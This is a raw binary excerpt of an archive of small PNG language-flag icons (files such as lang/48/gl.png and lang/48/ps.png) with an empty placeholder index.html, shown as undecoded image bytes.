nG�D�?{{�_���陀A�t��<�>]-i2��h[�mY���iKe���9���9�����W�`�d�ڸ�-"��/=������X���<�d	��H���嘶��n�#K�qY<k��>��96�T�=���෦imig�<C��-,�n��G�\�o��3eliv)�$P�J�|#=���.�m�v�SN���3��*��/ƹ�l
Z~�)5�
��ߜ
�j:�dd=��b[>�Q�躑E���M�IF�U�E-������mPX!<�jW��(q�܀Y�R<8m!����	Tl`��
H��tp�Mgɦ&4�'�yu����0T�dā|�n�m)�]lD��m��;Q��|��V����L]8�"��q͚K�s���Xv�9N47}fW�q@�A��FA�S%8���f���F���p�Rf2?޶��W��'��,�@���J�y�Ʌ��1��-�H�?9�ڽ~�"���{��Кm�4�8k[�R�+!rj[�J	'
��7�yW���-uUl"���z&���8۫�";LioK
�#�@�D�r�1�P��K�a;��:Թ��s�8�J���h�rW+IEND�B`�lang/48/gl.png000064400000003440151721413500007030 0ustar00�PNG


IHDR00W��tEXtSoftwareAdobe ImageReadyq�e<�IDATx��Y{lSe��{�X۵{t�lc6�x�B` *�����41
I4�D�h����

*�����66��G�`m��z��v���w����}��w���}�E�Xc\�����HR}dK"��5�dy�s�}�&�u�)��b�٤���q�@����Ry(m��X��Q3*�-���d�D�3 �m�U�5t�T[7Vf% ?�0���!�Z���sh���Y�=�w�h�Ȅ @n��J��4&o���ztJ
��ѓFZ�@PB@RV�x��C���;+��	�
��
_w爧�i'�D��u�Q�&R2����dHA�Q�Dz�P�j�-{�<L�屪�p��P�
�:R��~��N쭽��0���B�����+����x #�'���(�w@���bI��f�\7���Zw�:]8��C�����k|�kj1զ���������h�ud"9�N2 oz����zwM'�9׆`hޠ%�	D���8Z�"���
xa��At�cBVjs�`�J�~�M��L3�f�-8��
s��>sN�Z;�V�L���� �B�$t[���p����_����j�2�:�U8	��S��~�?��OYI���h���ɸdr��&�=�
W��fզV� '+?�u`P��X��$a�͈7N6�7<t�߸��
�
v�u�����I��b�CL�#-g�ȤѾ��#n|G��S-�(<4B�K�k���'���{{+l��r�6�ҬÎ�S�Ge'^�E�I3rH��9V�����z�5z�g1��dW\6\��x�n<>�*,��Ӎ�+VtS4��
oh�-:|U��g��8�����ر�E}�2�V���Os�
as���{��v�o}�'5d���P�l�B�����B� ���מ��G�ň��L��3R�����B覛�,���3�!)�Q�J��[I���y�{2Ȯ��m�\Ģ�p��{��\�VgYն��e-�i�$x�#�=/�٨^��6uTd�(A�Ԭv_I%^+#~�f��9f����FkJ
�H�
ks�ұ�][�c���{Q
�]x�h#�2�x{(=F�u���8X5*�~|S�uB�C�e���8A�Nl.m��om	���sY�:��L�_v���A�����]����}���������qtnȲ[<U�

xn7�	
�T����]vu�~pC	�Nb��^+�P�`=���_��Tb[Y�ވy1Y�p,�ɐE"�ҊGQ�}��D�n���J���sp ��QD����7�p�7yu���D["~�Z��g�1�p�uv�_�cF�,���-([3OͰQ� 
��0�#�(��\���gZ�X\���#�=''Q��B&���`��	W�܅�&I�i��G�j'�+�����_u8�JY�Bf�}[q2~J��Ο�%6�FcxC�z��▟(���B�e�#�pϨV��Z�a—���4��Wi�?��ܷb�Y)�R�g�tǓ#y�9�$�QY�nƱUyX?;-\�\�n�L�Z;�������ao(m�G&��B�hA�#yxa��m��@)����@b��x����ŬT��L�?�%�}��jb���ug發��Lx�6F�T�k����R�۶alI+i�Z��"�X�'us�0`�m��G�o�f��IEND�B`�lang/48/pa.png000064400000002174151721413500007031 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��MlU�/��j�؉'$�4�R�� rD)7R����!����.p�ސZzAB�"!��)H"%�6m��	*m��nHm���nd�,��iw�����̼U"����K@�����2�`�E��ḙL����Eh�{eՏ_��=&G���}��5�=g��#&4���/7W:7Uq/��k�x4�znE�� `�u�㖪*'��7���[m�j}զ�*�����K����mA9rhl�-~��`�Y��N�
���W[�C�1u�)BT�����n�"h���

���1J��-
���5b}eM0l��@q���ɍ��"[�-&h��ZI+ -"O?�����e��E�:��I(hzY)5�y4��[���\Zfho'7�E��;�N�#v����W8~����������ױ�H$ȉϦi��9tpp{Z�v4���e�j�/��ė󌝙c��2/<�S篱^��YzF���*#���m͹���^��G�b��E��JFx�=|3��'��_Fv��twD�_�23w��Z�?�b~1Ǖ�92����Ü���R����ҵ<�w���%4y��4ݝ;ik
3����\��tx��íG��a�p���t��T�d"BG"�p:E�}'�������Ѩ����sP���k�Gx��o�~�ޮ(��LD8v�g�0�X�S
H۶�1or��ӗ���_9��>zR1�"���Б���Ox�h�a�
H[��1M�<�-�3��LN-ѿ���}$o�!�&��/�
(�V�T@5�J����d���,��vT�
&��f{{��"�(���Q�ѵ.
�����B��"�ŒAG;��_���vJyse��C4
�;&Pu8Q��^]�i����9�*��յ5;��R�+���=�O�0^���pdZ���\�=���*(�@�(T>�Rw�Qh��
F|G%3B�9|(���a��g�_�)��K���ORn��&�&�&��T�b����sIEND�B`�lang/48/ms.png000064400000003047151721413500007050 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��OlW�?of���Y�w�$��ڱ]�?�
-�?E���T@q. �	�
�@��+�
�#��	�ҔC)�I��(%�8)�cc���w׻3o��^۱[�hWh��hF��y�}��FXkI�8$\�� �4�ɼW*=ᎎ��(|�{/�;9ᯖ�wd����[cy���ǙkA���G��ʧ�n|����Z��2ƀ֖�jlk�P�G��1vzc`z���R+9�:8�nK�Ϸ@�ϳ)^Ny�"_��o<s��No �ëo�2}��V��m4Q�ǣ@��3K� ���E*M�BXJ�
���w(��y��o.NR������*��lD�լmv�뒬ײ{�V_�q��_?Z>�����W����EF�(R����\���d�n�_��@�Ȥ4���\��c�,���\���:�o� �jD.2�C�J��U�Rb���R#�abp�с,��Ʃ5��d�S�
�/V���XX�i�c�L���k;�P�1�A�P�PjB�8;>��!Ke���0f��k(�,�ep��?��T�3tҥZ���
�
����8�ҋ���ȴB(�Ԍ�Z�"�[�����X�P31��GFHy
��$��c����rs���R�c	|#"hU�P*�(�'["#E(�؀>�Bj�វ���_rD�<X�����|�hv���v<�
�Pѐ��ݔ��ȦA�y��A<���]�3�
�a�k��\xs���pD�@f�A�s�
�J#k��!�-�FDj.�,����C�����(W��� ��jOM����Z�a�D�������L���.\�(l��qh���6BE#Լze��5�][|�3�?<�o�tJsu�@]zh#�xe��ɩR�7�v�586`Kƽc��+��"��J�"��i~�۳`������ǧB���,�e�����\����������r���;߉��R[��!���?��-��'٨f��2��+�P�� Dm-�z��i�fϞk��;���jʯ/���{y���k|��y��\��g�N���o\�RO��| =G��I���ʛ���[y�V&���|�=���
V�L��DF�����[*���s�>S�L	x�=�dc+�K�f�X����9<|�̇��V�T"�����f|v��j��$3�]t��x���6(�j�g�0��j����4�T*Q9E��8Ţ�%�z�f/�+�o�&�lͫ���I�l��Y5��{�z=�8�-�GmG�=ābkO\�Ք�e�sU��n:=�8��ʁZ��\L�������{0��D�=T����H����|p�?�	��|�B�۬��_@<�����	�b�8.���$�ٿ
�+�?/�$IT��c���O�?��"�C�IEND�B`�lang/48/yi.png000064400000002134151721413500007046 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��_h[e�_�MnҴ���s�X�lk�)U�)�����ž���/C��Qѽ
'{� (�e�	�v5��V+m�&M����>�v�+�k����s���=�|�9�'�RxY|x\�U��;�.��м�tggD��vimmm��+�f���io����@��-��'%~��c�t'���-J7g!��Bp��ԦT�O�k�s-�e��~���*1�T
ۑ؎�ėw\�\"*H��H,�X�D�R��z&��"%@��+1m�v=`�>\)���@\)5��UH�Q�V��\E�_�Rs&�����b�jaޒ���o\M������Q�n܄��3|?4���Ϲ��HNd+W�-���Μ�����M8�3�]$Wp�;��d�H�O�.Ha�!\�g��o�5�8�9��-1�)�{~'�w4�-ؼ�D�ζGO0������[�v�S2ž������A!xt�&N~;�D��/c�8����}�&�z`��
A�Z����R�4��2��DVE��Q�>�[S�X��p�G�NdU���m
����_{�3�>�R����P9��|����{�:�盁�U�s���L�~f'/�_�Ui7��B�6�R�^�_�8q�.f�-���΂�44�~z�#�%x�΍�8=D��$��Z� ���8#�vs��x%���.3�LS��A?��"�-���ȅ�4A�G�Ơ`:���h�W�� �DӴ��m�7]H��*�qW��wiRmz�+�G*�Z^8����\�w\���m�z������z-x`G�ۚ�����=��Uz�'�V���Z�'��_�C8���vU��X����,�$������>����+��/�N[���Нh�R������;-���0BL��X��c�%���gD���%;����e�����B\o%j!1>33�F=�L&C4�Ѓ`vv֋GC���N��c�O���:�wO`9Q���T����5oPѹ���IEND�B`�lang/48/hmn.png000064400000002047151721413500007212 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�왿o�T�?���e����N� !D��:��hQ*$Z��)�E�
���@EC��$ĝ"Q�t�\.{�����1Ca;�:��!�
;��~��w�����U���pYX��0@t�}�$Yl���ۇM|����r+�*J�ΫW��5�	�[���Ͽ���*H@���j������y���[Bo�3�&!�רT�7s<O.3O���Y��IT�bTC�y����xp���@
���שk��g�g��3g�-��<�!�HE�Cݩ/�5e�
˳O��uUd�o ����ޠr�K��ϛ3��8�U���AS�0]O�a�S��dr�����2���{��ٿ �\�s��%�[6vQ_Q��}Ͳvdh�k�gSG8P���䡸o�l�b
����>�ގ�������F��h�.��d��R"�f�Ɓ�,Em�߃��@�E{����u�c{�[Y^լ�@��et�d�p�C����7��:�sBW1�2�x��nA��,�M��}��v�o(�`v�dnn��q�a�{�x�	���dY�߇�o9ayxG�rN�*J���ܮ��"Ss��I���KV�7�hS��A�a�����Uh�ė����)O����B�P���GW�e+��o�~����Dޣ�jJ�}C�4pb��f���f��n���C��U���+��K��a��"�t
��
������2���zuU���~�q�%g�7��}�s�͛5�9�#A��B!�X�@/���V�J��}Z�@��Ϧ�@�&���4�S-RDQ�"��\t�0�1�S�R��5���Q������
`��e.$�닖:7�� U�	8��JI٩�F4P�n/�
S�	pߐ^�(�M��՗����k���;�O�&�IEND�B`�lang/48/th.png000064400000001242151721413500007037 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F(IDATx���n�@��u�4�����GT.\8"ޢN�7N��������&����v�1v��#��#E����~��3�c��X����7�`��ZV)p���3��������j�z�����?L��|*B��˧qps��^u��%M�_}�C'�N�KKkR�����E���t�lӭu��!�E��	�Q_�� ����9i�Yigs7���ԋ�W�"�Ad�<R��1���}$�n:@
�
�Yd��j�a��ӆ��"��/��/�"�,Wb&� �\yV���7'�+J4�_6�]�ۣ�ZOB�r�=3c�y�qUR��^Lm�a:�V@��<3p��dsc�!	Q2'"h0P%s��$/akb�{"���á��d��dӍJu8��H�ĥ�#Y��?�1@�Ԝ	9�(���phjE�h4*�+���2s����
XH>=~�x�.6��Ʉ�,�f&�R���)-{����\��{rp`�P/��N-%��g�}c��
|t���nWWK��\����z�*?�z��AI�IEND�B`�lang/48/sd.png000064400000002650151721413500007036 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F.IDATx��klE���Q���Z�p�"KS���	j�DBl ���j�#�ɤ(_��h4!!�@$h�&<���mڊ�i��� ��/Z�ݻ��.��ٻwC{6���9gf�sΙsfWH)�Ȥ0�i�$��;8��>�H�N KJyͪ��֏߾��T'�����E�����@��4�t���G�J$%�n�Yđ��EJH$99�8ř,�!��0��|�2�� 4ʇBB ��"3!�|w�߬뺎4tl�X�p
D�1�CWZ��f,R5C����ۿ��hv5�j[������7���B3���HC�w��l���-f������"��?���Հ/�K�����ظb՟�Υ�Kq��R�0��OMܿKu��W��y�/_���{l-�-��Sy��%j��pƝdedR��+��+n�k,�`ެb6�~US9�=�P�oO�\>�����g;�G�M����*(l^S�@���BGWG\'(,��>���F�+���i|��Q.^���P0�j��O�v��"���gG�)oχS�g�z���0=��3g!Y��\�w�t�f𩾨P��<e����s�U_t�L-S�il;K�G���p���}�=�H$����F�@��z�L�d���v�|C��K�9��u��q�3���ȷ$�t'5��i����)��Ao~�|����d���9��ٹ�����	Kù� ��|���kI.����f*��JeGM���6{�d^�؁SqX��Vt3$@��/r�ǽ��d)��mŐ2�/R�jQGpJ�!%R���a֥Y7��s
��T&�{�lY]���#�#�ܬ�L�-o�90
�LX�aHZ��>��W��[�א��=b2�<��%��T��B�I0@����.����*#f�+�UWT�繚�>.w���'p�{ok�7M�/����ʕ�(��aY�Ct�FGc�ӍSq���D�~����v[�X�>�yP|o��l{ⅰ�o(�^�o�!��f!����"��\��b6��RPP�~��D0̼š
�.2FAŽ�yzweܼ&'#���gS0-!{��cѳ�~�)�G�ÈD��I�@�w��Cgs���-]CŃ�(󔒛��"��C�]>ϑ��8t�K�-�8#4�K։�PW_OAc[#��2ov	).7��=oK=Wz�X���l4)�Tu��Ե֏탮H�2�U��ts�����l�@fZ��4���cI`��<�_�t`!�7����M��2��O0���?��&L������-ƃ:hIEND�B`�lang/48/mt.png000064400000001545151721413500007052 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��Mo1@��NҔ�JH�B%8T���H��8sFQ�BTz	NHЦm�&�=Ҕm��6�+2��jm��=3����Pd�\f3��@P9zB��jfii=ZYY� ��Pʾ?}�����
~hom�nwPJ1W.S�s{l%�����f����Usd>'��֍eP>�z	E��P�ϕ�SO]K@<{P2#�Zi�+_r��4v<�Tn��A���r�!�pp�q���-.�)�F���]*Q�#��0�s$�e�:�r���мu���9lcL��Vi%	���W�N�%���I���s=;D�Z�/�m�aMb��X�Su0_���o����j�+�(�Ț��wvQ�\�2��It-�=�%*��y(�^��zj�{\{��heƙ�n�8ǧ��ɹ��w�r�C�h�Egk��.�帬G��9S"~�O5I.9[V ��yl��ɓG$��@kp��(J|g�
�8�@�(�R�@8�n�>��@�(����4���:}��)��7�=���\6:��N� ���;q����W ��a�V�	�)�k�o�5dٔ�}��-��A�6����}��c@�9����R��R�(�zQH7��m��r�f���
�p|���T�Px��?�b�|���#O��:�����
�1v�~�4��C��)�:�\-��6���F�����jvS?�������~�z��IEND�B`�lang/48/pt.png000064400000003405151721413500007052 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���oW�?gfgǗ]���NH�&qb�(uT%q[T	E\T���""H��@�.���J�qS���QpQ%i���8��K��w������a�����.�,|����9������%"l�f���&�M��`n|�HM~
h{����1�s/��+�m/�ؙrF���<`�������7r)�Em�� 	���kA�s�O�#E@%�[z����D�r9���jd"1Db�H.�:B�?F��Au��ꃬ�L��HCT�#`�!�!����V��u��D!H��M��e�ՊYS�"�I���"OW"@�?
t��Ƭ�A�����D��
#�l2%����)AI�|�O
���}v�JTw�p������{"� I
i1xa��w�3��%Ac03�G�3�&��
)�mL��I�F+R���m�0�	W�C;��z��~���妟��}W8z�:�t��{�'��yZ~�L˄�40Q1�q��)���^�2�����g�������L[@H�T���]���(��ϲ�:��q���T38�������"͖���a��!?>���	�K+���=F]<Ղ�o>V&��{ޡ��[X/dp'#
�@�R
D5ף�uI_��e�x�
0۷�ie�!=�V��gO�b�U���R8 �\n�Sw�K��<�6��Ae��U�a�]M��
�!����s|��%���Giz��'�P�g�W���0��=K�e��&�]r��G=�x���d�䛪\��xb�f����#��"�L=}U����"UlLHR)'�1�e_�V��[�U���}<��D��)�qn��.Y��v�������g��#7�-4�>UF==���+Z�����vI��AD�=B��0>ks�V:�r9�����KL&g}ޙ(3i�Y��Ci�E骢FDMӘ#)���
YT޸T�4y�‡�3d���=e-�<z�?_a��(��$s��z�����U��m0�YH3q:m�(�����c�V~1���-�����}�j��J�����S��C�ʴry�"�]�"U���5ʶ=`-Ld�2&6����?���/m=��}bb�&���wF��Xa�+�����&�d�C�H��X�3vl�Yb��c�Y�/��z	�XX'I�@�'�-�����-DF�:����p���E�� @�jie��[��	�q�M��E�k(�|�SJ�KZ�<���	&.�p���~~��,$sԙ\�S�yi�u���>��ݴ�u������T�ѮiZ�5J�k��B�Y���c�yk�>�v�,�}�����$EI����'ex��gz��r�[���=o�6r���	ƒ�W�eh��մIM-|��ޖ�ѺV/z`��Q����P�[|}�9���Q��Z:3��_rɞH�sV�\_��W�S5
,�?WNP�����]�Bh�_=�6�eTm�����I��tZ�����ܵ:�T�oN�鼡�U��1҉y@�Yպ�Ί���v��f��j9@ml5
%
��e���d2�%o0_(�y���zۯ��7��o���l|�H����N�&�M�����b�$�����IEND�B`�lang/48/index.html000064400000000054151721413500007713 0ustar00<html><body bgcolor="#FFFFFF"></body></html>lang/48/sm.png000064400000002531151721413500007045 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���oU�?gv�[�?�T����h�Hx�G_�&��Qߍ��!&�f$$�bH�$I�!~��$"�Pضܝ;s��af���K[c7����N���=��s��3��-��m�
��;J@%{�<����S]t������Y`�PF9P=�5#_\æ�k{�d��<n^
AIa���2EX�.A� ,GjC�F��}]q�����!PQ{�ԕ��
�D�w�o��m�3��������$���K(~�ژXܫ��3#n�B*�$1|bY,��@3#���*��\�2;]#���B)h�ɞ1�C�I��Ŏ����u�!Q��Y�%���K礡����T�0 �J_���W���?���ˤd(�$�.Kb���.V�8���$�۵��37155"�@��|���֋�yi��
�����s��U�+=ˍ�[�Ow��΁��'vU%\�ǻon�՝O0�q
_}7N�<AA�����
�s��&'�+%A3�`�,r����pQ�søs��/�f�P?�bf�F�/,�IC�85v�c�����9��$��/!��R�<u盉r�M~8�C�x�7�e�zU���se����zC֐P-?}e,/!�J�%Dn>��Q��P���j}jq�l}j����×��� m��c��K����%D�([ak05�Ƨp�~�z�
`�Y�bQ}�h)����]�p+a�ڡ~f�""�9}a��,�JX�I,�"J��"�1����ɇ����9D V��ɏ��]`@L}~PjQL��Ӥ�Il�ٻ��>��Ϭc�s���YN���r9�P���(Q��P׭�~P�q~4�<�p��T96��oedz�~c�#G��7Ti˛�N�[I��<�g�E�J�6�7����9��Yv�؄�*�v��6Ci�e��< �uf�k2���K��<��Q��
��u���_���u�ԩ%�5Q��:�ҖvZ=R*u����V�'H��}��K���0�"s�����w[���g�U;+�)�k���bJ����:�i��i��&I���<h�'kwI��E��-p��CjYЛ�b��Tۿ���k��ڲ{����Q55?�hK=�xdʐ4ՒU!M{�cG�� ��{�͂=/�3+�b@r9гI���9�*n00�sR
I?0=w�4/�&`'��ǜ�.
��l�%��9Y�R�`�
���&%İD�PkIEND�B`�lang/48/ps.png000064400000004153151721413500007052 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��[�]W�k�}.93��dK�ĉ)��Ij.��քV_J�-H� �A�7/O*BQK5�O�|�RR�E--���`KtHsi'�L39ə�s��k�χ}[{���9
�5p�>{�Z�����}k+�nw�X���|��~�M�a�>x��⨻��}�Q�b�T~O���
����5H����5T�'��K�������r��4WO��K�]J�[J�ȖV��bRyw�l�v��d4��ch���d�!J�\�S�����a$"ɺL+�z���k�� x����,I����d�F�<Т�Fk]�u��(�d?SD�=��Ƥ,q�Jښ4
�X�J���Vc�u�5�(���x�.$�T�:�:�o��=�2�DI��K�jژ\ɍ(���h�R�U��D��̉��'U�(����[���k2�Q���-�t!P��<�3v`��""a�cca�� A�*�K���Y�%KՐ���8��;Ʈ��u�q-`������o�0�S���]'��sX*�j�b���:ˆ�@����OIU�{>��
�لz����DW�b]��"�QɼeU$�j�Z�-`�0�G᭝@BM|�
���E��w�$��54��@�����J����0bʆ�<�qXk�z#Y@��aE���wm�
z�2qa�yxw���mإN2OA�cG�T��6�#���t�]z��,�D�z�9�3gi��*5<�`�‹���91l�L�,�p���㨔�I9?��(Q�**�!.�����X�ԲR"Վ�釬~��͛��e$�hz����2��~��	��'l���˿��}��y��k�$4�+zA
DTō��X�n[k���T���L���s������Էne��?�5��G�R߾���_�u�n�}|j5�;��/�J�qs�K����=�l�Q��ƶ�����^�Cƞx�`|���kt��=�;w0��ӈ/4��Ç�.��`j
x>�S���2#��B�{��Gk	��H��S�w#����SO�8��C~�U�Gm�~zG�QkMB/D�Hs�{��3����'�@��,[�Z;���ߧ�{��;���/�ط�4�O�6�A��؅zo�`�K_!���&����!�_�ii ��VI���p��[6c.�M�?Ê�|�!j{�61���n����<����_G5j�vl':�7�\H%i�.|_JŜ"a#���x��������	��c�௛�ٚ���W�qL�2�l2��4�����Y�9���*W�Nc��)��B���؝l!�ݹw��_@5��a���,|�넽��	j�m�?�w�>��/<O4{|��I�8�+�$�%֦,���B^��	���5�����������L��W�Qa�M��O�5�t~�KZ?�i��~�H��T��5����$�vA�`q�Ѵ�k�>�m�T~Yd��R�;mn��'�܉��������Il��tn_�L�3,��(�c� �&�N0��Sb"��%{��4�b�&hmт$%�M3��%�:s� "���gV߸I��OR[7�YZB��#(l�M�C���(���P��Љ��9�KY�J�($
��R-d�)eâ	)��T��\_,-�@�[������ԃ:�y�Q?���>�Z�J�=/�V�z6T�-�B�Z|���wa,В2C)���%���3�UO}^����ʹ�Ks���a�[9�|�ﳩk
�cV�)T�?��9W��N����p�t5P
/?3J�S�<G��'��Uz���:5�V�;y�����`$	�tӁ��
k�Q��;�����lw�r��N�S
���=}��ke;z�������+`J��U���NlܹYo��T�L������[`�U	��fq�@JB+��
������f'�d:#vd�N'���M�"�a,(��"OL��%P�΍�@9�=A~�W���{�]����
��J_/M��w���ZyS�`�
����4E�ˈu�IEND�B`�lang/48/ta.png000064400000002174151721413500007035 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��MlU�/��j�؉'$�4�R�� rD)7R����!����.p�ސZzAB�"!��)H"%�6m��	*m��nHm���nd�,��iw�����̼U"����K@�����2�`�E��ḙL����Eh�{eՏ_��=&G���}��5�=g��#&4���/7W:7Uq/��k�x4�znE�� `�u�㖪*'��7���[m�j}զ�*�����K����mA9rhl�-~��`�Y��N�
���W[�C�1u�)BT�����n�"h���

���1J��-
���5b}eM0l��@q���ɍ��"[�-&h��ZI+ -"O?�����e��E�:��I(hzY)5�y4��[���\Zfho'7�E��;�N�#v����W8~����������ױ�H$ȉϦi��9tpp{Z�v4���e�j�/��ė󌝙c��2/<�S篱^��YzF���*#���m͹���^��G�b��E��JFx�=|3��'��_Fv��twD�_�23w��Z�?�b~1Ǖ�92����Ü���R����ҵ<�w���%4y��4ݝ;ik
3����\��tx��íG��a�p���t��T�d"BG"�p:E�}'�������Ѩ����sP���k�Gx��o�~�ޮ(��LD8v�g�0�X�S
H۶�1or��ӗ���_9��>zR1�"���Б���Ox�h�a�
H[��1M�<�-�3��LN-ѿ���}$o�!�&��/�
(�V�T@5�J����d���,��vT�
&��f{{��"�(���Q�ѵ.
�����B��"�ŒAG;��_���vJyse��C4
�;&Pu8Q��^]�i����9�*��յ5;��R�+���=�O�0^���pdZ���\�=���*(�@�(T>�Rw�Qh��
F|G%3B�9|(���a��g�_�)��K���ORn��&�&�&��T�b����sIEND�B`�lang/48/eo.png000064400000001061151721413500007026 0ustar00�PNG


IHDR00W��sRGB���gAMA���a	pHYs_��tEXtSoftwarepaint.net 4.0.12Ck��IDAThC՗1KBa������\\�w���E�8:H�4��DCD�`A�-


� ���S^7?�;����#|�w<�u�j�dJ&�dJ&�dJ&�db��x�h�؁K-�0ӏ��6+=��h��c[���p�RK�L�,'՛��p�RK�G$ۯO�()�㔬7k����hY~-�v[��e1 {�
����7F
�׾��}s.����<(�4g��p�zh9C�NBz�=�u�;w����S728z魛�9s����E!�7�R������޺�,�F{�Y|.$}����P�H��/�~FOn�RK�G��Df�LO�/���.�D{�\j������;p�%P2%P2%P2%P2%P2%P2%P2%P2%�$�@��L@��L@��L@Ƀxߙ����zIEND�B`�lang/48/hi.png000064400000002174151721413500007031 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��MlU�/��j�؉'$�4�R�� rD)7R����!����.p�ސZzAB�"!��)H"%�6m��	*m��nHm���nd�,��iw�����̼U"����K@�����2�`�E��ḙL����Eh�{eՏ_��=&G���}��5�=g��#&4���/7W:7Uq/��k�x4�znE�� `�u�㖪*'��7���[m�j}զ�*�����K����mA9rhl�-~��`�Y��N�
���W[�C�1u�)BT�����n�"h���

���1J��-
���5b}eM0l��@q���ɍ��"[�-&h��ZI+ -"O?�����e��E�:��I(hzY)5�y4��[���\Zfho'7�E��;�N�#v����W8~����������ױ�H$ȉϦi��9tpp{Z�v4���e�j�/��ė󌝙c��2/<�S篱^��YzF���*#���m͹���^��G�b��E��JFx�=|3��'��_Fv��twD�_�23w��Z�?�b~1Ǖ�92����Ü���R����ҵ<�w���%4y��4ݝ;ik
3����\��tx��íG��a�p���t��T�d"BG"�p:E�}'�������Ѩ����sP���k�Gx��o�~�ޮ(��LD8v�g�0�X�S
H۶�1or��ӗ���_9��>zR1�"���Б���Ox�h�a�
H[��1M�<�-�3��LN-ѿ���}$o�!�&��/�
(�V�T@5�J����d���,��vT�
&��f{{��"�(���Q�ѵ.
�����B��"�ŒAG;��_���vJyse��C4
�;&Pu8Q��^]�i����9�*��յ5;��R�+���=�O�0^���pdZ���\�=���*(�@�(T>�Rw�Qh��
F|G%3B�9|(���a��g�_�)��K���ORn��&�&�&��T�b����sIEND�B`�lang/48/az.png000064400000002261151721413500007040 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F7IDATx��MlE�owm'%_8��@H��""�jo\H�+$p�B��DU�$.�*�H|I��r-�"��JS�@�4_vb���<��k�N\+<�������?�����#�J��G�K@���>Pؾf�X ��O}���ѿ��K�T�<��r����PpN�VY+UH/n"�[Wպ�V�Ѯ��Z�
����Xbc��f�n_��6鶽l����V�KՍq;H�Kl\&����(�D����b�b rDqF�\F	#C�L#k�$䨆�0ʆ����:���S��f@>g룐��Jh�fDB�/�b����R�������;�:\��V�w>���'����\%���֥�(������6%!�
C4�:�P����y�,��㬟�����b�%��H?�kQ�d����5��J��6�z�4='����Ǭ}zoh	|�������Nbn���5�:KG4
A�c�8��{��{�C�M��*�f��B2�ւ*hH���=�[/q��9��E$� HIHnu��Nj�ш
��a��"���߮'�o��Ɩ�SO�{���8������z�{�\N�环E$*S�u���p�TƮ�Ꮞ"}}��$'�~D?_!�6�?<��6����*$_Hj��>���rb�v�������������>�~6asG>΁�o���g���k��?���&>�J�X�P��J,�<+|H~�qF�?�R��+tkop����ʋ��9��(��WA	�]x�ףSs^5D��%�$�h��lz�=���k�f1l^�a}y���4��#A���01��d��cs^|�H�O�Ĺ.���+�����p>D&n�6K��sҢ]Z�:�f�Iښ�|8u��ШJb�{8׮d�	,z��Zb�v��Y<�G�ʧv��E!u>5
dM����f���8�-R��SʄI1�hb?�Mݵ��\j!S�h��'
I�s
@��v|� d�A�Ȑ�D�~����{3'��䠀��u2X���)`4c��~���k�J��{R���𯖿��zN�6�IEND�B`�lang/48/ky.png000064400000003112151721413500007045 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��K�\G������Ӟf<~$������d�#;P>l��H�@HaC6HH��,X�k ) ���0����l3�陞��:�Ž�i�۱�'i1G*ݪ��uοΫ�\13�sN����"�6��E�˗�au�k�ҥKE�n�{[������55^��\	���}޿7X@3Є�����M�o��Qtxެ�{��]3v�LĦ��YD03�YxR�>����NZs��ќ���j���VVXU=��s�<f|�5����6 a�d�G����5P`e��1�0�4Q0��$#������ʣi@�*����ˆ�	i_��`��
�ėZ��}J	+�٬)},��b� ��g�6�=�w@���:
���G��(dE���]�
�����S��\tWHw��G��t\R_f�
�&�N�
(�X1����}Ⱦ�p#{1�}%aC!ީ�Z��J�����?�P^�Hݟ��I)�J=0���|J�A+ßɔ�o��.l��M�	��`�;�_��W��%�&ï9�MA�pJN �E!K	X>���RY�V�-(�-Һ���i��l�����Soɞ��MOxV(�� y<��aI0���"�"�|���6�_"��Zfoz\V�;�ޛ����7 ��	���<��n�8�ڊ��ϔ�o;���o8��{�}�%��/+;og�v�e����5Z���11b1N�Jhi�_L���r���r�_ω�[� ����=õ#�oT�_)ŵD�tEy�E���DWȔi��;�#{l�J��z	�����7rv���B8���}�E�^`�E,��Rѝ��o��d��<Z��rp��Ow6���xB3�J���x�h}9���fHKI[�S���x� �	��m�����Q]7�ZC�x���Z�>�OѬ�	�و���ßN��T­*�l�-)�9�����Vc^[`S��Ɖk
$E��~�>Xa�s�©7�%�����i-�:���U�_VV4�\w�w�6hnS��Ԁ��y��z���
I��� ����~{��L$�����6�?\`�;O�9���1�m ~R��Aj��e��ߠ	:MJ��4�����	�����.���{���w"���'ރ�˯%�)(�z���P��6�P��-�Ф�*�/�-p]c�WGk�V�z^��"P��Q�E��B�B��A˚�3Cq�e╕NPǓY+�iܲQ},��8��A���'bm��5��Ѝ�oH�p��j�)�s3i�=��
l(�e#����@���#�8��anws���'+{<N�ysRܫ�� 5��Q�>(���%l��E[Z}�4+�ѭ�Ik3n��'�C5��;��lv|�y����~Ul�40�s`dB�n��]�38�e���3��8\��L�
�P^:�<�
`W���8p�J���$�>uIEND�B`�lang/48/xh.png000064400000004057151721413500007052 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��{pU���}�
!J�i��L;!�q�X@���PA�-�vPa2JhGjqtJ"�����P[J�H��th�@I	�{s_g��?���M�y؆�4kf�9s�:���^k��Zkng2�ͩ@;��w0���v"	�- ��	U1�I���&���)P���%���j�-��ۦ?}�R��<�=�Z	
�����d���tY��G����+��wG	@��+��Rr�}%<oec�˟�r��}p�N�����xv�K��
�Z�0�i
B��nl�Qr�h�����4@����Q���qt��5^7��[Nga�������#���ի,�"�Ltx�hPu/�Ņ���-%��j(���`��6\���m��p�Ic����9T(;�
